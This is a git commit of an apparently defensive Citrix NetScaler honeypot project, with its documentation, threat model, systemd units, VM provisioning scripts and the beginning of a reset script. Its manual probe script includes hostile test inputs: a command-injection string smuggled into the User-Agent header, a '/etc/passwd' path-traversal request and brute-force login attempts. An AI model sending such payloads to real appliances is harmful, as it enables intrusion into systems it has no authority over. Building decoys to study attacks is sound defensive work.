CitrixPot: NetScaler / Citrix ADC Gateway honeypot (initial public release)

This commit is contained in:
CitrixPot committed 2026-09-28 19:44:37 +02:00
commit 4491b42714
54 files changed
+4532

No files matched your search

+31
View File
@@ -0,0 +1,31 @@
# Copy to .env (git-ignored) or set the same names in the systemd EnvironmentFile
# (/etc/decoy.env). Never commit real addresses, keys or credentials.
# --- Decoy listener (honeypot.py) ---
HONEYPOT_BIND=0.0.0.0
HONEYPOT_PORT=8443
# Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables.
HONEYPOT_PROXY_PROTOCOL_FROM=
# Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted
# (edge proxy and reverse-proxy hops only). Empty trusts no forwarded headers.
HONEYPOT_TRUSTED_FORWARDED_FROM=
HONEYPOT_LOG_DIR=/var/lib/decoy/http
HONEYPOT_EVIDENCE_MIB=30720
# --- Source-preserving ingress (ingress_proxy.py) ---
INGRESS_BIND=127.0.0.1
INGRESS_PORT=18443
INGRESS_TARGET=127.0.0.1
INGRESS_TARGET_PORT=19443
# CIDRs allowed to open the origin. Empty = any (not recommended for public use).
INGRESS_ALLOW_FROM=
# --- Local read-only evidence viewer (viewer.py) ---
VIEWER_BIND=127.0.0.1
VIEWER_PORT=8787
VIEWER_LOG_DIR=/var/lib/decoy/http
# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated.
VIEWER_HIDE_IP=
# --- VM execution backend (optional, isolated guest only) ---
DECOY_VM_CONFIG=/etc/decoy-vm.json
+29
View File
@@ -0,0 +1,29 @@
# Secrets and local config
.env
.env.*
!.env.example
*.pem
*.key
*.crt
known_hosts
deploy/known_hosts
deploy/*.local
# Evidence and runtime data (never publish)
logs/
*/logs/
artifacts/
*.bin
*.jsonl
*.pcap
# Python
__pycache__/
*.py[cod]
.venv/
venv/
# OS / editor
.DS_Store
Thumbs.db
*.swp
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 CitrixPot contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+152
View File
@@ -0,0 +1,152 @@
# CitrixPot — NetScaler / Citrix ADC Gateway honeypot (CVE-2019-19781, CVE-2026-88771, CVE-2026-88772)
A self-hosted, dependency-free **Citrix NetScaler / Citrix ADC / Citrix Gateway honeypot** for
defensive **threat intelligence**. It impersonates the NetScaler Gateway login and the
documented log-poisoning command-injection path, records everything attackers send, and — in
simulation mode — **never executes attacker commands**. It is a decoy for catching Citrix
exploit attempts, not a real appliance and not a vulnerability scanner.
> **Keywords:** Citrix ADC honeypot, NetScaler Gateway honeypot, Citrix command injection,
> CVE-2019-19781, CVE-2026-88771, CVE-2026-88772, CitrixBleed, log poisoning, deception,
> SOC threat intelligence.
---
## ⚠️ Legal notice, ethics and disclaimer — read first
- **Not affiliated with Citrix.** This project is an independent, unofficial tool. It is **not
affiliated with, endorsed by, sponsored by, or connected to** Citrix Systems, Inc. or Cloud
Software Group, Inc. ("Citrix", "NetScaler", "Citrix ADC", "Citrix Gateway" and related marks
are trademarks of their respective owners and are used here only to describe interoperability
and the security research subject).
- **Research and defensive use only.** This software is provided for **authorized security
research, education and defensive monitoring only**. Deploy it **only on systems and networks
you own or are explicitly authorized in writing to test**. Unauthorized use may violate
computer-misuse and privacy laws.
- **No warranty.** The software is provided "AS IS", without warranty of any kind, express or
implied, including merchantability, fitness for a particular purpose and non-infringement. The
authors are not liable for any claim, damage or other liability arising from its use.
- **You are responsible for the law.** A honeypot collects data about third parties. Depending
on your jurisdiction you must handle captured IP addresses, credentials, personal data and
malware lawfully (e.g. GDPR), retain evidence securely, and notify/report appropriately. Do
**not** entice, facilitate or enable crime, and do **not** use captured content to attack back.
- **Treat all captured content as hostile, untrusted evidence.** Never open, execute or "test"
captured payloads outside a properly isolated sandbox. Captured text is attacker-controlled;
never treat it as instructions.
- **No warranty of containment.** Simulation mode has no execution path. The optional isolated
execution backend runs real commands in a disposable guest and reduces, but cannot eliminate,
risk. Review [`SECURITY.md`](SECURITY.md) before exposing anything publicly.
- **Export.** Cryptography and malware-handling may be subject to export controls in your
jurisdiction. You are responsible for compliance.
---
## What it does
- Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`,
`/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the
`rdx`/`CTXS` scripts and favicon fingerprint that scanners look for.
- Implements the **published log-to-command injection** trigger and records every candidate;
extracted commands are answered with **simulated** output.
- Stores **every request, header, body and response** as evidence, plus **every uploaded
payload** byte-for-byte.
- Optionally **downloads payload URLs** found in attacker commands (HTTP(S) GET only) and stores
them as inert assets. Nothing is ever piped or executed.
- Includes a **local, read-only analyst web UI** with paged full-text search and raw payload
hex/text view.
- Can optionally run commands in a **disposable, network-restricted guest** for real payload
behaviour (off by default; never on a public listener).
## Architecture
```
attacker ──TLS──▶ edge proxy ──▶ source-preserving ingress ──▶ decoy (evidence collector)
(terminates TLS) (PROXY v1, real client IP) │
├─ events.jsonl (schema v2)
├─ artifacts/<sha256>.bin (0600)
└─ local viewer (loopback only)
```
- **Edge-aware client IP:** forwarded headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`,
nearest `X-Forwarded-For`) are trusted **only** from configured hops, so you record the real
attacker IP, not the proxy's.
- **Fail-closed:** at the evidence quota or on disk failure the decoy stops rather than
overwriting evidence.
## Quickstart (simulator — safe to expose)
Requires only Python 3.10+ (standard library); no third-party packages.
```sh
git clone <your-fork-url> citrixpot && cd citrixpot
cp .env.example .env # edit to taste
python3 test_honeypot.py # run the test suite
set -a; . ./.env; set +a
python3 honeypot.py & # decoy on http://127.0.0.1:8443
python3 viewer.py # analyst UI on http://127.0.0.1:8787
```
No commands are executed in this mode; commands are parsed, logged and answered with canned
output, and uploads are stored as inert artifacts.
## Configuration
All settings come from the environment (or a `.env` file / systemd `EnvironmentFile`). See
[`.env.example`](.env.example). Key variables:
| Variable | Purpose |
|---|---|
| `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port |
| `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) |
| `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted |
| `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota |
| `INGRESS_BIND`, `INGRESS_PORT`, `INGRESS_ALLOW_FROM` | source-preserving ingress and allowlist |
| `VIEWER_BIND`, `VIEWER_PORT`, `VIEWER_HIDE_IP` | local analyst UI and hidden operator IPs |
## Evidence and analyst UI
- `events.jsonl` — append-only JSONL journal (`schema_version: 2`) with UTC timestamps, request/
session IDs, socket source IP/port, durations and status.
- `artifacts/<sha256>.bin` — exact payload bytes, deduplicated, `0600` in a `0700` directory.
- Event types include `request`, `request_body`, `response*`, `upload*`, `form_fields`,
`injection_candidate`, `simulated_command`/`unsupported`, `outbound_attempt`,
`exploit_attempt` (labelled `CVE-2019-19781`, `path-traversal`, `config-read`,
`management-probe`), `auth_attempt`, `brute_force_suspected` and `payload_download`.
The viewer is **read-only and loopback-only** by default; reach it over an SSH tunnel. It filters
out your own public IP automatically (refreshed every 30 minutes) so operator traffic stays out
of the analysis.
## Optional: isolated execution mode
For real payload behaviour, an opt-in backend runs commands in a **disposable, network-restricted
guest**. It requires **both** `--vm-config <file>` and `--allow-real-execution`, and must never be
enabled on an internet-facing listener. See [`SECURITY.md`](SECURITY.md) and
[`deploy/`](deploy/).
## Public deployment
1. Terminate TLS at an edge proxy (for example Cloudflare in front of Nginx Proxy Manager).
2. Forward to the source-preserving ingress and set `INGRESS_ALLOW_FROM` and
`HONEYPOT_TRUSTED_FORWARDED_FROM` to your edge hop(s) so the real client IP is captured.
3. Firewall the origin port so only the edge proxy and host can reach it.
4. Keep simulation mode on; monitor the evidence quota.
See [`deploy/VM-ACCESS.md`](deploy/VM-ACCESS.md) for a deployment template.
## Tests
```sh
python3 test_honeypot.py python3 test_capture.py python3 test_safety.py
python3 test_payload_fetch.py test_client_ip.py test_viewer.py test_auth_logging.py
python3 test_ingress_proxy.py test_network_capture.py test_reset.py test_vm_backend.py
```
## Acknowledgements
Informed by public analysis of the Citrix NetScaler log-poisoning command injection; see the
watchTowr write-up referenced in the community discussion of the 2026 NetScaler issue.
## License
MIT — see [`LICENSE`](LICENSE). Trademarks belong to their respective owners.
+122
View File
@@ -0,0 +1,122 @@
# Security model and threat model
This is a deliberately attacked system. Everything here is designed so that an
attacker who "exploits" the decoy can **upload files, run commands and receive
plausible output without doing anything real** to the collector or the host.
## Two execution modes
| Mode | Default | What happens to attacker commands |
|------|---------|-----------------------------------|
| `simulation` | yes | Parsed, logged and answered with canned output. **Never executed. No shell, no syscalls, no sockets.** |
| `disposable_vm` | no | Real `bash` runs inside disposable VM223. Requires both `--vm-config` and `--allow-real-execution`. |
The simulator is pure Python dict manipulation (`simulate()`); it has no path to
`os.system`, `subprocess`, `eval` or a real filesystem path. Uploaded bodies are
stored as inert `0600` content-addressed blobs. This is the safe mode for an
internet-facing listener and is what `deploy/decoy.service` runs.
The VM mode exists for private labs that want to observe real payload behaviour.
It must **not** be enabled on a public listener. The two-flag gate above makes
accidental activation impossible, and the process logs a loud warning plus
`real_execution: true` in the start event.
## Isolation of the disposable execution guest (VM223)
- QEMU user networking with `restrict=on`; **no bridge NIC**, so the guest
cannot reach the LAN, the management network or the internet directly.
- **No host mounts, no shared folders, no 9p, no virtiofs, no SPICE.** The only
block device is the guest's own discardable disk.
- Guest TCP is redirected (iptables `REDIRECT`) to a local relay that speaks only
to the outside recording broker. A separate guestfwd path reaches the broker;
the broker is the sole policy point for every outbound connection.
- The broker allows public IPv4 `80/443` unconditionally and other ports only to
recently observed attacker peers. Private, loopback, metadata and LAN
destinations are denied. DNS returns public A records only.
- The guest is reset every hour: disk is archived to a validated qcow2 and
rolled back to `decoy-clean`; unflushed RAM is discarded.
- A host watchdog stops VM223 on pcap quota, disk/thin-pool reserve, collector
service failure or a STOP latch. STOP is never auto-cleared.
- Collector→guest SSH uses a dedicated key whose `authorized_keys` entry is
restricted with `no-agent-forwarding,no-port-forwarding,no-X11-forwarding`.
- Packet capture lives on the host (`execution.pcap`, 512-byte prefixes), so it
survives guest tampering.
Residual risk in VM mode is a QEMU/KVM or guest-kernel escape. Keep the
hypervisor patched, never enable VM mode on a public listener, and treat the
guest disk and pcap as untrusted binary evidence.
## Collector isolation
`decoy.service` runs under systemd with `ProtectSystem=strict`,
`NoNewPrivileges`, `PrivateTmp`, `RestrictAddressFamilies`, `MemoryMax` and
`TasksMax`, writing only under `/var/lib/decoy` (root-only, `0700`). The ingress
proxy runs as a `DynamicUser` with no capabilities. The local viewer is
loopback-only and read-only.
## Real client IP behind the edge
The decoy never trusts attacker-supplied `X-Forwarded-For`. Forwarded client
headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`, then the nearest
`X-Forwarded-For` hop) are honoured **only** when the connecting hop is inside a
configured trusted network (`--trusted-forwarded-from`, e.g. Cloudflare's
published ranges plus loopback). The real client IP is recorded as `peer`; the
proxy hop is retained separately as `proxy_peer`. Spoofed private/reserved
addresses are rejected.
## Logging guarantee (capture everything)
Every request is journaled in full and its bytes are stored, so nothing depends on
the decoy recognising it:
- `request` records method, raw URI and every raw header (including `User-Agent`).
- `request_body` stores the exact raw body bytes as a content-addressed artifact for
every request; multipart parts become `upload` events, other bodies
`upload_or_raw_payload`, form posts `form_fields`. Filenames are metadata only.
- `response` / `response_sent` store the bytes returned.
- `request_end` stores the exact HTTP bytes the parser consumed, even for malformed,
partial or rejected requests.
- Log-poisoning candidates become `injection_candidate`; each extracted command is
then `simulated_command`/`unsupported` (with argv, cwd and output) or, in VM mode,
`execution_*` plus `guest_stdout`/`guest_syscalls_stderr`/`guest_file_*`.
- Known Citrix exploit indicators are additionally labelled `exploit_attempt`
(`CVE-2019-19781`, `path-traversal`, `config-read`, `management-probe`). This is a
convenience label on top of the full capture, not a filter — unflagged requests
are still stored.
Uploaded payloads are inert evidence on the collector and are never executed there.
## Evidence
The append-only JSONL journal and content-addressed blobs are `0600` under a
`0700` directory. The service fails closed and exits non-zero when the evidence
quota or disk fails, rather than dropping or overwriting records. Uploaded files
are never executed by the collector and are never copied into a guest.
## Reporting boundary
No reporting UI is served on the attacker listener. The evidence viewer is a
separate loopback-only process reached over SSH port-forwarding. Do not add
reporting routes to the decoy listener.
## Public exposure checklist
1. Keep the listener in `simulation` mode.
2. Put an edge proxy (Cloudflare) in front; pass the original client IP via
`CF-Connecting-IP` and configure `--trusted-forwarded-from` with the edge
ranges (`deploy/cloudflare-ips.txt`).
3. Origin must only accept traffic from the edge; do not expose the origin
directly.
4. Terminate TLS at the edge so the decoy sees HTTP and can read headers.
5. Keep the STOP latch and watchdog enabled; archive evidence before clearing it.
## Audit notes (2026-09-28)
- Verified the simulator contains no command-execution path.
- Found the deployed collector running `--vm-config` (real execution). Hardened:
`--vm-config` now also requires `--allow-real-execution`; the deployed unit was
switched to simulation-only; a loud startup warning is emitted in VM mode.
- Verified VM223 has no host mounts, no bridge, `restrict=on`, and a locked-down
management key.
- Added trusted-edge client-IP extraction with spoof rejection.
- Added the loopback-only read-only viewer and its hardened systemd unit.
+58
View File
@@ -0,0 +1,58 @@
# Deployment notes (template)
Replace every `<...>` placeholder with your own values. Keep real addresses and keys out of
the repository; put them in `/etc/decoy.env` (see `.env.example`) or your own secret store.
## Topology
- Proxmox host: `<PROXMOX_HOST>` (management network, not public).
- Collector VM: stores evidence and serves the decoy. QEMU user networking only, no bridge NIC.
- Execution VM (optional): disposable, isolated guest for real payload behaviour. Requires
`restrict=on`, no bridge NIC, no host mounts, and must never be enabled on a public listener.
- Edge proxy (e.g. Nginx Proxy Manager on `<EDGE_PROXY_IP>`): terminates TLS and forwards to a
source-preserving ingress on the Proxmox host.
## Source-preserving ingress
`ingress_proxy.py` accepts a TCP connection and prepends a PROXY-v1 header (the real client
address) before the decoy reads any bytes. Restrict who may reach it:
```
INGRESS_BIND=<PROXMOX_HOST>
INGRESS_PORT=18443
INGRESS_TARGET=127.0.0.1
INGRESS_TARGET_PORT=19443
INGRESS_ALLOW_FROM=<EDGE_PROXY_IP>,127.0.0.1,<PROXMOX_HOST>
```
At the decoy, trust only the edge hop for client-IP headers:
```
HONEYPOT_PROXY_PROTOCOL_FROM=<QEMU_GATEWAY> # e.g. 10.0.2.2 for QEMU user networking
HONEYPOT_TRUSTED_FORWARDED_FROM=<EDGE_PROXY_IP>,127.0.0.1
```
Add a host firewall rule so only the edge proxy and the host itself can reach the origin port.
Example (adapt to your firewall tooling):
```
iptables -N DECOY-ORIGIN
iptables -A DECOY-ORIGIN -i lo -j RETURN
iptables -A DECOY-ORIGIN -s <EDGE_PROXY_IP> -j RETURN
iptables -A DECOY-ORIGIN -s <PROXMOX_HOST> -j RETURN
iptables -A DECOY-ORIGIN -j DROP
iptables -I INPUT 1 -p tcp --dport 18443 -j DECOY-ORIGIN
```
## Management access
Use your own SSH keys and a jump host. Do not enable agent/X11/port forwarding on the
management key (`no-agent-forwarding,no-port-forwarding,no-X11-forwarding`).
## Operational notes
- QEMU `filter-dump` truncates its pcap on guest start; archive it before restarting the
execution VM.
- The decoy is fail-closed: when the evidence quota or disk fails it stops rather than
overwriting. Archive evidence before restarting.
- Never enable real command execution on an internet-facing listener.
+24
View File
@@ -0,0 +1,24 @@
# Cloudflare published edge ranges (https://www.cloudflare.com/ips). Refresh periodically.
# Only hops inside these networks may set CF-Connecting-IP / X-Forwarded-For for the decoy.
173.245.48.0/20
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
141.101.64.0/18
108.162.192.0/18
190.93.240.0/20
188.114.96.0/20
197.234.240.0/22
198.41.128.0/17
162.158.0.0/15
104.16.0.0/13
104.24.0.0/14
172.64.0.0/13
131.0.72.0/22
2400:cb00::/32
2606:4700::/32
2803:f800::/32
2405:b500::/32
2405:8100::/32
2a06:98c0::/29
2c0f:f248::/32
+5
View File
@@ -0,0 +1,5 @@
# Hourly disposable VM223 reset. Evidence is archived, never automatically pruned.
# Stop intake/VM and require operator review when archive budget/reserve is reached.
SHELL=/bin/sh
PATH=/usr/sbin:/usr/bin:/sbin:/bin
0 * * * * root /usr/bin/python3 /opt/decoy-ingress/reset-execution.py --run >> /var/lib/vz/honeypot/reset-cron.log 2>&1
+10
View File
@@ -0,0 +1,10 @@
[Unit]
Description=Redirect disposable guest TCP to recording relay
After=network-online.target
Before=decoy-relay.service
[Service]
Type=oneshot
ExecStart=/bin/sh /opt/decoy/guest-network.sh
RemainAfterExit=true
[Install]
WantedBy=multi-user.target
+18
View File
@@ -0,0 +1,18 @@
[Unit]
Description=Source-preserving ingress for the NetScaler decoy
After=network-online.target
[Service]
EnvironmentFile=/etc/decoy.env
DynamicUser=yes
# --allow-from limits who may reach the origin to the edge proxy and trusted hops (see .env).
ExecStart=/usr/bin/python3 /opt/decoy-ingress/ingress_proxy.py --bind=${INGRESS_BIND} --port=${INGRESS_PORT} --target=${INGRESS_TARGET} --target-port=${INGRESS_TARGET_PORT} --allow-from=${INGRESS_ALLOW_FROM}
Restart=on-failure
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
MemoryMax=128M
TasksMax=32
[Install]
WantedBy=multi-user.target
+21
View File
@@ -0,0 +1,21 @@
[Unit]
Description=External recording and policy relay for disposable execution VM
After=network-online.target
[Service]
ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role broker --quota-mib 2048 --listen 0.0.0.0 --port 19090 --evidence /var/lib/decoy/network --peers /var/lib/decoy/allowed-peers.json
WorkingDirectory=/opt/decoy
UMask=0077
Restart=no
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ReadWritePaths=/var/lib/decoy
ProtectHome=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectControlGroups=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
MemoryMax=384M
TasksMax=128
[Install]
WantedBy=multi-user.target
+18
View File
@@ -0,0 +1,18 @@
[Unit]
Description=Disposable guest transparent TCP and DNS relay
After=network-online.target
[Service]
User=decoy-relay
ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role relay --listen 127.0.0.1 --port 15001 --broker 10.0.2.100 --broker-port 19090 --dns-port 53
Restart=on-failure
AmbientCapabilities=CAP_NET_BIND_SERVICE
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
RestrictAddressFamilies=AF_INET AF_UNIX
MemoryMax=256M
TasksMax=128
[Install]
WantedBy=multi-user.target
+19
View File
@@ -0,0 +1,19 @@
[Unit]
Description=Local read-only honeypot evidence viewer (loopback only)
After=network-online.target
[Service]
EnvironmentFile=/etc/decoy.env
ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR} --hide-ip=${VIEWER_HIDE_IP}
WorkingDirectory=/opt/decoy
UMask=0077
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ReadOnlyPaths=/var/lib/decoy
RestrictAddressFamilies=AF_INET
MemoryMax=256M
TasksMax=32
Restart=no
[Install]
WantedBy=multi-user.target
+10
View File
@@ -0,0 +1,10 @@
[Unit]
Description=Stop disposable execution VM on capture failure or quota
After=pve-guests.service
[Service]
ExecStart=/usr/bin/python3 /opt/decoy-ingress/watchdog.py
Restart=always
RestartSec=2
UMask=0077
[Install]
WantedBy=multi-user.target
+25
View File
@@ -0,0 +1,25 @@
[Unit]
Description=NetScaler decoy HTTP and evidence collector
After=network-online.target decoy-network.service
Requires=decoy-network.service
[Service]
EnvironmentFile=/etc/decoy.env
# Simulation only: attacker commands are parsed, stored and answered, never executed.
# Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest;
# never enable it on an internet-facing listener. All values come from /etc/decoy.env.
ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB}
WorkingDirectory=/opt/decoy
UMask=0077
Restart=no
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ReadWritePaths=/var/lib/decoy
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectControlGroups=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
MemoryMax=768M
TasksMax=128
[Install]
WantedBy=multi-user.target
+13
View File
@@ -0,0 +1,13 @@
#!/bin/sh
set -eu
[ -f /etc/decoy-disposable-guest ]
id decoy-relay >/dev/null 2>&1 || useradd --system --no-create-home --shell /usr/sbin/nologin decoy-relay
ip route replace default via 10.0.2.2
iptables -t nat -N DECOY 2>/dev/null || true
iptables -t nat -F DECOY
iptables -t nat -A DECOY -m owner --uid-owner decoy-relay -j RETURN
iptables -t nat -A DECOY -d 127.0.0.0/8 -j RETURN
iptables -t nat -A DECOY -d 10.0.2.100/32 -j RETURN
iptables -t nat -A DECOY -p tcp -j REDIRECT --to-ports 15001
iptables -t nat -C OUTPUT -p tcp -j DECOY 2>/dev/null || iptables -t nat -A OUTPUT -p tcp -j DECOY
printf 'nameserver 127.0.0.1\noptions timeout:2 attempts:1\n' > /etc/resolv.conf
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env bash
# Manual end-to-end probe of a deployed decoy. Read-only: every request is recorded as
# evidence; nothing is executed. Configure via environment (see .env.example).
# BASE_URL e.g. http://127.0.0.1:8443 or https://your-decoy.example
# HOST_HEADER Host header the edge proxy routes on (default: localhost)
set -u
B=${1:-${BASE_URL:-http://127.0.0.1:8443}}
H="Host: ${HOST_HEADER:-localhost}"
printf '\000\377MZ-inert-manual-payload\r\n' > /tmp/manual-payload.bin
printf -- '--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../manual-multipart.bin"\r\nContent-Type: application/octet-stream\r\n\r\nINERT-MULTIPART-BODY\r\n--testboundary--\r\n' > /tmp/manual-multipart.bin
code() {
local label=$1; shift
printf '%-42s -> %s\n' "$label" "$(curl -sS --max-time 10 -o /dev/null -w '%{http_code} %{size_download}b' "$@")"
}
echo "== target $B =="
code "GET / (login page)" -H "$H" "$B/"
code "GET /favicon.ico" -H "$H" "$B/favicon.ico"
code "GET background.jpg" -H "$H" "$B/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg"
code "GET logo.png" -H "$H" "$B/vpn/media/citrixgateway_logo_white.png"
code "GET login.js" -H "$H" "$B/logon/LogonPoint/login.js"
code "HEAD /" -I -H "$H" "$B/"
code "GET /nonexistent" -H "$H" "$B/nonexistent"
code "GET path traversal" --path-as-is -H "$H" "$B/../../etc/passwd"
code "OPTIONS /" -X OPTIONS -H "$H" "$B/"
code "POST auth form" -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=demo&passwd=demo' "$B/nf/auth/doAuthentication.do"
code "PUT binary payload" -X PUT -H "$H" -H 'Content-Type: application/octet-stream' --data-binary @/tmp/manual-payload.bin "$B/sample.bin"
code "POST multipart upload" -H "$H" -H 'Content-Type: multipart/form-data; boundary=testboundary' --data-binary @/tmp/manual-multipart.bin "$B/upload"
code "POST oversize body" -X POST -H "$H" -H 'Content-Length: 999999999' --max-time 4 "$B/"
code "POST ambiguous framing" -X POST -H "$H" -H 'Transfer-Encoding: chunked' -H 'Content-Length: 5' --data '0' "$B/"
code "GET injection in User-Agent" -H "$H" -A 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/manual-test.txt`;# X' "$B/"
echo -n "auth XML body: "
curl -sS --max-time 8 -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=x&passwd=y' "$B/nf/auth/doAuthentication.do" | head -c 160
echo
l=0; while [ $l -lt 12 ]; do l=$((l+1)); curl -sS --max-time 5 -o /dev/null -H "$H" --data 'login=a&passwd=b' "$B/nf/auth/doAuthentication.do"; done
echo "sent 12 rapid auth attempts (brute-force threshold is 10)"
python3 - "$B" "${HOST_HEADER:-localhost}" <<'PY'
import socket, sys, urllib.parse
url = urllib.parse.urlsplit(sys.argv[1])
host = sys.argv[2]
s = socket.create_connection((url.hostname, url.port or 80), timeout=8)
s.sendall(f'GET / HTTP/1.1\r\nHost: {host}\r\n\r\n'.encode()
+ f'GET /favicon.ico HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n'.encode())
data = b''
while True:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
print(f'keep-alive pipelined -> {data.count(b"HTTP/1.1 ")} responses, {len(data)} bytes')
PY
echo "done"
+63
View File
@@ -0,0 +1,63 @@
#!/bin/bash
# Run on the designated Proxmox host. Preparation only; never execute payloads here.
set -euo pipefail
cd /var/lib/vz/honeypot
expected=$(awk '$2 == "debian-12-genericcloud-amd64.qcow2" {print $1}' SHA512SUMS)
[[ -n "$expected" ]]
printf '%s debian.qcow2\n' "$expected" | sha512sum --check -
[[ -s admin.pub ]]
command -v nc >/dev/null
printf '#!/bin/sh\nexec nc 127.0.0.1 19223\n' > forward-execution-ssh
printf '#!/bin/sh\nexec nc 127.0.0.1 19090\n' > forward-collector-telemetry
chmod 700 forward-execution-ssh forward-collector-telemetry
for vmid in 222 223; do
if qm config "$vmid" >/dev/null 2>&1; then
echo "VM $vmid exists; refusing replacement" >&2; exit 1
fi
done
for vmid in 222 223; do
role=collector; mem=2048; port=19222; mac=52:54:00:22:02:22
packages='[python3, openssh-client, openssh-server, iptables, qemu-guest-agent]'
args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19443-:8443,hostfwd=tcp:127.0.0.1:19222-:22,hostfwd=tcp:127.0.0.1:19090-:19090,guestfwd=tcp:10.0.2.101:22-cmd:/var/lib/vz/honeypot/forward-execution-ssh -device virtio-net-pci,netdev=decoy,mac=$mac"
if [[ $vmid = 223 ]]; then
role=execution; mem=4096; port=19223; mac=52:54:00:22:02:23
packages='[python3, strace, curl, wget, netcat-openbsd, iptables, openssh-server, qemu-guest-agent]'
# Trusted package bootstrap only. restrict=on MUST replace this before payloads.
args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19223-:22,guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry -device virtio-net-pci,netdev=decoy,mac=$mac"
fi
mkdir -p "seed-$vmid" /var/lib/vz/template/iso
cat > "seed-$vmid/user-data" <<CLOUD
#cloud-config
hostname: decoy-$role
manage_etc_hosts: true
disable_root: false
ssh_pwauth: false
users:
- name: root
lock_passwd: true
ssh_authorized_keys:
- $(cat admin.pub)
package_update: true
packages: $packages
runcmd:
- [mkdir, -p, /opt/decoy, /netscaler/ns_gui, /nsconfig]
- [systemctl, enable, --now, qemu-guest-agent]
- [touch, /var/lib/decoy-bootstrap-complete]
CLOUD
if [[ $vmid = 223 ]]; then printf ' - [touch, /etc/decoy-disposable-guest]\n' >> "seed-$vmid/user-data"; fi
printf 'instance-id: decoy-%s-20260928\nlocal-hostname: decoy-%s\n' "$vmid" "$role" > "seed-$vmid/meta-data"
cat > "seed-$vmid/network-config" <<NET
version: 2
ethernets:
decoy:
match:
macaddress: "$mac"
dhcp4: true
NET
genisoimage -quiet -output "/var/lib/vz/template/iso/decoy-seed-$vmid.iso" -volid cidata -joliet -rock "seed-$vmid"
qm create "$vmid" --name "decoy-$role" --memory "$mem" --cores 2 --cpu host --ostype l26 --scsihw virtio-scsi-pci --agent enabled=1 --onboot 0 --serial0 socket --vga serial0 --args "$args" --description "Dedicated NetScaler honeypot $role; QEMU user networking only. VM223 restrict=on mandatory before attacker execution."
qm importdisk "$vmid" debian.qcow2 local-lvm >/dev/null
qm set "$vmid" --scsi0 "local-lvm:vm-$vmid-disk-0" --ide2 "local:iso/decoy-seed-$vmid.iso,media=cdrom" --boot order=scsi0
qm resize "$vmid" scsi0 12G
qm start "$vmid"
done
+261
View File
@@ -0,0 +1,261 @@
#!/usr/bin/env python3
"""Hourly VM223 reset, preserving its full disk and pcap first. Never prunes evidence.
--check is read-only. --run stops intake and VM223, archives disk/pcap, validates,
then rolls back decoy-clean. On any failure it leaves VM223/intake stopped and
sets the host STOP latch. RAM is not preserved; collector evidence is untouched.
"""
import argparse
import datetime
import fcntl
import hashlib
import json
import os
from pathlib import Path
import shutil
import stat
import subprocess
import time
import uuid
ROOT = Path('/var/lib/vz/honeypot')
ARCHIVES = ROOT / 'archives'
